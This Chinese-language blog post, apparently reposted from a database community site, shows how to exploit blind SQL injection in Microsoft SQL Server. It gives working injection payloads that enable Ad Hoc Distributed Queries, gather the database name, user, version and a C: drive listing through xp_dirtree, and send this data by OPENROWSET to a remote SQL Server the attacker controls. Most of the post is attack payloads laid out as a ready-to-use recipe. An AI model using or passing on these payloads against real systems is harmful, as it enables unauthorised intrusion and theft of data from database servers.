sqlserver openrowset转发利用

2023年 8月 12日 44.2k 0

适用于盲注,页面不返回信息,这种转发利用需要一台sqlserver机器

原理:把当前数据库中的内容发送到远程的sqlserver机器上

  • 启用 Ad Hoc Distributed Queries:

;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure开启扩展id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure

  • 查询目标数据库的当前库名,本地创建相同的库名

id=1 and db_name()>

  • 在本地sqlserver上建立相同的库名并创建临时表

creat database 库名creat table ##version(version verchar(500))  

  • 查询目标数据库信息,写入本地数据库

id=1;insert into OPENROWSET('SQLOLEDB', 'server=本地数据库IP;uid=账号;pwd=密码', 'select * from %23%23version' ) select 需要查询的数据db_name()user_name()@@version......

  • 再去本地数据库中查询临时表

select * from ##version

查询路径

  • 两边都需要创建临时表

本地数据库create table ##nonamed( dir ntext, num int )目标数据库id=1;create table %23%23nonamed( dir ntext, num int )

  • 先把目标主机的C盘路径信息插入到临时表

id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1

  • 再把临时表中的信息传输到本地数据库中的临时表,进行查询

id=1;insert into OPENROWSET('SQLOLEDB', 'server=本地数据库IP;uid=账号;pwd=密码', 'select * from %23%23nonamed' ) select * from %23%23nonamed

  • 本地数据库查询

  • 后关闭Ad Hoc Distributed Queries:

;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure;exec sp_configure 'show advanced options',0 reconfigure

本文来源https://www.modb.pro/db/75534

相关文章

Oracle如何使用授予和撤销权限的语法和示例
Awesome Project: 探索 MatrixOrigin 云原生分布式数据库
下载丨66页PDF,云和恩墨技术通讯(2024年7月刊)
社区版oceanbase安装
Oracle 导出CSV工具-sqluldr2
ETL数据集成丨快速将MySQL数据迁移至Doris数据库

发布评论